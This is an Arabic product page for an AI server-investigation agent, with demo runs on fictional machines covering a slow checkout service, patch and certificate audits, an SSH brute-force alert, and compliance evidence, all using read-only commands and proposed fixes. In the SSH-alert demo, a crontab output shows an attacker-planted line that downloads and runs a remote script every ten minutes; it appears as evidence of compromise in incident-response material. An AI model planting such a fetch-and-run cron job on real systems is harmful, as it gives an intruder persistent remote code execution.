جرّب مثالاً للتحقيق
اختر خدمة بطيئة أو تنبيهاً أمنياً أو مراجعة للتحديثات أو جمعاً لأدلة الضوابط. اختر الأجهزة النموذجية وشغّل التحقيق، واقرأ الخطة وكل أمر ومخرجاته وكل نتيجة والإصلاح الذي ينتظر موافقة شخص. ثم جرّبه على أجهزتك.
تحقيقات نموذجية — بيانات افتراضية
جرّب مثالاً للتحقيق
لماذا أصبح الدفع بطيئاً منذ الصباح؟
بيانات توضيحية: الأجهزة والمخرجات والعناوين مختلَقة. لا يُشغَّل شيء على جهازك أو على أي نظام فعلي، ولا يُجمع شيء منك.
خطة الوكيل
- فحص الحِمل وسجل الخدمة على جهاز التطبيق
- فحص القرص وسجلات WAL والأرشفة على جهاز قاعدة البيانات
- فحص الاتصالات وزمن الاستجابة عند الحافة
- فصل السبب عن الأعراض واقتراح الإصلاح
- اختيار الأجهزة
- التحقيق
- الأوامر والأدوات
- الأدلة
- الخلاصة
app-checkout-01
لا يحتاج إلى إجراءالأمر
$ uptimeالمخرجات
10:42:07 up 41 days, 3:12, 0 users, load average: 0.84, 0.91, 0.88 exit 0الأمر
$ journalctl -u checkout --since 06:00 -p warning | grep -c 'db query exceeded'المخرجات
214 exit 0الأمر
$ journalctl -u checkout --since 06:00 -p warning | tail -1المخرجات
Oct 03 10:41:55 app-checkout-01 checkout[2231]: WARN db query exceeded 5000 ms (orders.insert) exit 0
النتيجة
عَرَض لا سبب: 214 استدعاءً بطيئاً لقاعدة البيانات منذ 06:00. الحِمل والمعالج والذاكرة طبيعية على هذا الجهاز.
db-orders-01
يحتاج إلى إجراءالأمر
$ df -h /var/lib/postgresqlالمخرجات
Filesystem Size Used Avail Use% Mounted on /dev/sdb1 200G 194G 6.1G 97% /var/lib/postgresql exit 0الأمر
$ du -sh /var/lib/postgresql/16/main/pg_walالمخرجات
142G /var/lib/postgresql/16/main/pg_wal exit 0الأمر
$ sudo -u postgres psql -Atc "select archived_count, failed_count from pg_stat_archiver"المخرجات
1824|3961 exit 0الأمر
$ mountpoint /mnt/archiveالمخرجات
/mnt/archive is not a mountpoint exit 32
النتيجة
السبب الجذري: مورد تخزين أرشفة WAL في /mnt/archive غير مركّب، ففشلت الأرشفة 3961 مرة وتراكم 142 غيغابايت من WAL. القرص ممتلئ بنسبة 97%، وهذا يبطئ كل عملية كتابة.
web-edge-01
لا يحتاج إلى إجراءالأمر
$ ss -s | head -2المخرجات
Total: 1184 TCP: 1102 (estab 846, closed 201, orphaned 0, timewait 198) exit 0الأمر
$ curl -s -o /dev/null -w '%{time_total}\n' http://localhost/healthzالمخرجات
0.004 exit 0
النتيجة
سليم: تستجيب خدمة الحافة لفحص الحالة خلال 4 ملّي ثانية. مصدر التأخير في الأنظمة الخلفية.
الخلاصة
أي الأجهزة تنقصها تحديثات أمنية، أو لديها شهادات تنتهي خلال 30 يوماً، أو تتجاوز نسبة استخدام أقراصها 90%؟
بيانات توضيحية: الأجهزة والمخرجات والعناوين مختلَقة. لا يُشغَّل شيء على جهازك أو على أي نظام فعلي، ولا يُجمع شيء منك.
خطة الوكيل
- سرد التحديثات الأمنية المعلّقة على كل جهاز
- قراءة تاريخ انتهاء شهادة كل خدمة
- فحص كل نقطة تركيب بحثاً عن أقراص تتجاوز نسبة استخدامها 90%
- ترتيب الأجهزة بحسب ما يحتاج إلى معالجة أولاً
- اختيار الأجهزة
- التحقيق
- الأوامر والأدوات
- الأدلة
- الخلاصة
srv-web-01
يحتاج إلى إجراءالأمر
$ apt list --upgradable 2>/dev/null | grep -c -- -securityالمخرجات
7 exit 0الأمر
$ openssl x509 -enddate -noout -in /etc/ssl/certs/portal.pemالمخرجات
notAfter=Oct 21 23:59:59 2026 GMT exit 0الأمر
$ df -h --output=target,pcent | awk 'NR>1 && $2+0>90'المخرجات
exit 0
النتيجة
7 تحديثات أمنية معلّقة، وشهادة البوابة تنتهي في 21 أكتوبر، بعد 18 يوماً.
srv-db-02
يحتاج إلى إجراءالأمر
$ dnf -q updateinfo list --security | wc -lالمخرجات
3 exit 0الأمر
$ openssl x509 -enddate -noout -in /etc/pki/tls/certs/db.pemالمخرجات
notAfter=Jun 14 23:59:59 2027 GMT exit 0الأمر
$ df -h --output=target,pcent | awk 'NR>1 && $2+0>90'المخرجات
/var/log 94% exit 0
النتيجة
3 نشرات أمنية بانتظار المعالجة، و/var/log ممتلئ بنسبة 94%.
srv-app-03
لا يحتاج إلى إجراءالأمر
$ apt list --upgradable 2>/dev/null | grep -c -- -securityالمخرجات
0 exit 1الأمر
$ openssl x509 -enddate -noout -in /etc/ssl/certs/api.pemالمخرجات
notAfter=Mar 2 23:59:59 2027 GMT exit 0الأمر
$ df -h --output=target,pcent | awk 'NR>1 && $2+0>90'المخرجات
exit 0
النتيجة
محدّث. الشهادة صالحة حتى مارس 2027، ولا تتجاوز نسبة استخدام أي قرص 90%.
mac-build-04
لا يحتاج إلى إجراءالأمر
$ softwareupdate -lالمخرجات
Software Update Tool Finding available software No new software available. exit 0الأمر
$ df -h / | tail -1المخرجات
/dev/disk3s1s1 460Gi 198Gi 247Gi 45% / exit 0
النتيجة
لا تحديثات معلّقة، وقرص النظام ممتلئ بنسبة 45%.
الخلاصة
حقّق في هذا التنبيه: 312 محاولة دخول فاشلة عبر SSH على srv-web-01، ثم محاولة ناجحة.
بيانات توضيحية: الأجهزة والمخرجات والعناوين مختلَقة. لا يُشغَّل شيء على جهازك أو على أي نظام فعلي، ولا يُجمع شيء منك.
خطة الوكيل
- قراءة سجل الدخول حول وقت التنبيه
- معرفة ما غيّرته الجلسة: المفاتيح والمهام المجدولة
- فحص عنوان المصدر نفسه على الأجهزة الأخرى
- اقتراح الاحتواء دون تطبيق أي شيء
- اختيار الأجهزة
- التحقيق
- الأوامر والأدوات
- الأدلة
- الخلاصة
srv-web-01
يحتاج إلى إجراءالأمر
$ journalctl -u ssh --since "2026-10-03 02:00" | grep -c "Failed password"المخرجات
312 exit 0الأمر
$ journalctl -u ssh --since "2026-10-03 02:00" | grep Acceptedالمخرجات
Oct 03 02:47:13 srv-web-01 sshd[48211]: Accepted password for deploy from 203.0.113.45 port 51522 ssh2 exit 0الأمر
$ ls -l --time-style='+%F %T' /home/deploy/.ssh/authorized_keysالمخرجات
-rw------- 1 deploy deploy 1187 2026-10-03 02:49:02 /home/deploy/.ssh/authorized_keys exit 0الأمر
$ crontab -u deploy -lالمخرجات
*/10 * * * * curl -fsS http://203.0.113.45/u.sh | sh exit 0
النتيجة
اختراق مرجَّح: بعد 312 محاولة فاشلة، دخل الحساب deploy بكلمة مرور من 203.0.113.45 في 02:47، وأضاف مفتاح SSH في 02:49 ومهمة cron تنزّل نصاً برمجياً كل 10 دقائق.
srv-db-01
يحتاج إلى إجراءالأمر
$ journalctl -u ssh --since "2026-10-03 02:00" | grep -c 203.0.113.45المخرجات
41 exit 0الأمر
$ journalctl -u ssh --since "2026-10-03 02:00" | grep Accepted | grep -c 203.0.113.45المخرجات
0 exit 1الأمر
$ sshd -T | grep -i passwordauthالمخرجات
passwordauthentication yes exit 0
النتيجة
41 محاولة من العنوان نفسه دون نجاح، لكن الدخول بكلمة المرور ما زال مفعّلاً هنا.
srv-app-02
لا يحتاج إلى إجراءالأمر
$ journalctl -u ssh --since "2026-10-03 02:00" | grep -c 203.0.113.45المخرجات
0 exit 1الأمر
$ last -i -n 2المخرجات
admin pts/0 192.0.2.15 Fri Oct 3 08:02 still logged in admin pts/0 192.0.2.15 Thu Oct 2 17:40 - 18:05 (00:25) exit 0
النتيجة
لا دخول من 203.0.113.45، وفقط جلسات المدير المعتادة من الشبكة الداخلية.
الخلاصة
أي الأجهزة ما زالت تسمح بتسجيل الدخول بكلمة مرور عبر SSH؟
المخرجات مأخوذة من جلسة حقيقية في المختبر. لا يُشغَّل شيء على جهازك أو على أي نظام فعلي، ولا يُجمع شيء منك.
خطة الوكيل
- قراءة إعدادات SSH الفعلية على كل جهاز
- تحديد الملف الذي يفعّل الدخول بكلمة المرور
- اقتراح التغيير دون تطبيقه
- اختيار الأجهزة
- التحقيق
- الأوامر والأدوات
- الأدلة
- الخلاصة
srv-web-01
لا يحتاج إلى إجراءالأمر
$ sshd -T | grep -i passwordauthالمخرجات
passwordauthentication no exit 0
النتيجة
مصادقة كلمة المرور معطّلة. لا يُقبل سوى المفتاح العام، ولا يوجد استثناء في sshd_config.d.
srv-app-02
يحتاج إلى إجراءالأمر
$ sshd -T | grep -i passwordauthالمخرجات
passwordauthentication yes exit 0
النتيجة
مصادقة كلمة المرور مفعّلة في /etc/ssh/sshd_config.d/50-cloud-init.conf. سياسة القراءة فقط: لم يُجرَ أي تغيير.
ops-laptop-07
بانتظار الأدلةالأمر
$ sudo systemsetup -getremoteloginالمخرجات
بانتظار الأدلة من الجهاز في هذا المثال
النتيجة
لم تُعرض نتيجة نهائية لهذا الجهاز بعد.
الخلاصة
اجمع أدلة تطبيق ضوابط الوصول وتسجيل الأحداث على كل خادم في بيئة الإنتاج.
بيانات توضيحية: الأجهزة والمخرجات والعناوين مختلَقة. لا يُشغَّل شيء على جهازك أو على أي نظام فعلي، ولا يُجمع شيء منك.
خطة الوكيل
- تحديد الضوابط المشمولة: دخول حساب root، والدخول بكلمة المرور، وتسجيل أحداث التدقيق، ومزامنة الوقت، وجدار حماية الجهاز
- تشغيل فحص واحد للقراءة فقط لكل ضابط على كل جهاز
- تسجيل نتيجة الفحص أو القصور مع الأمر ومخرجاته دليلاً عليه
- اقتراح معالجة لكل حالة قصور
- اختيار الأجهزة
- التحقيق
- الأوامر والأدوات
- الأدلة
- الخلاصة
prod-web-01
لا يحتاج إلى إجراءالأمر
$ sshd -T | grep -E '^(permitrootlogin|passwordauthentication) 'المخرجات
permitrootlogin no passwordauthentication no exit 0الأمر
$ systemctl is-active auditd chronydالمخرجات
active active exit 0الأمر
$ ufw status | head -1المخرجات
Status: active exit 0
النتيجة
تنجح الضوابط الخمسة: دخول حساب root والدخول بكلمة المرور معطّلان، وauditd ومزامنة الوقت يعملان، وجدار الحماية مفعّل.
prod-db-01
يحتاج إلى إجراءالأمر
$ sshd -T | grep -E '^(permitrootlogin|passwordauthentication) 'المخرجات
permitrootlogin without-password passwordauthentication no exit 0الأمر
$ systemctl is-active auditd chronydالمخرجات
inactive active exit 3الأمر
$ firewall-cmd --stateالمخرجات
running exit 0
النتيجة
حالتا قصور: ما زال حساب root قادراً على تسجيل الدخول بمفتاح، ولا يعمل auditd، لذلك لا تُسجّل الإجراءات المنفّذة بصلاحيات إدارية.
prod-app-02
يحتاج إلى إجراءالأمر
$ sshd -T | grep -E '^(permitrootlogin|passwordauthentication) 'المخرجات
permitrootlogin no passwordauthentication yes exit 0الأمر
$ grep -rl "^PasswordAuthentication yes" /etc/ssh/sshd_config.d/المخرجات
/etc/ssh/sshd_config.d/50-cloud-init.conf exit 0الأمر
$ systemctl is-active auditd chronydالمخرجات
active active exit 0الأمر
$ ufw status | head -1المخرجات
Status: active exit 0
النتيجة
حالة قصور واحدة: الدخول بكلمة المرور مفعّل في /etc/ssh/sshd_config.d/50-cloud-init.conf. وتنجح الضوابط الأربعة الأخرى.
الخلاصة
شغّلوه على خوادمكم
تشغّل التجربة المجانية هذه الفحوص على ما يصل إلى ثلاثة من أجهزتكم، ويمكنكم مناقشة تطبيقها على بنيتكم التحتية في جلسة تعريفية.
جلسة واحدة، وست لقطات مقرّبة






ثلاث حالات استخدام في أفلام قصيرة
أفلام توضيحية قصيرة لثلاثة وكلاء أثناء العمل: السؤال، والخطوات، والدليل، والنتيجة، والموافقة. الأجهزة والوثائق والقيم فيها بيانات افتراضية.
الفيلم
ست وثلاثون ثانية: ما الذي تعنيه قوة عمل خاصة من الذكاء الاصطناعي، وخمس مهام، وجلسة سؤال واحدة. لوحة التحكم المعروضة فيه توضيحية وتستخدم بيانات افتراضية.
احجز جلسة تعريفية تقنية
أخبرونا عن الأجهزة والسؤال الذي تريدون الإجابة عنه، وسنرتب لكم عرضاً مباشراً.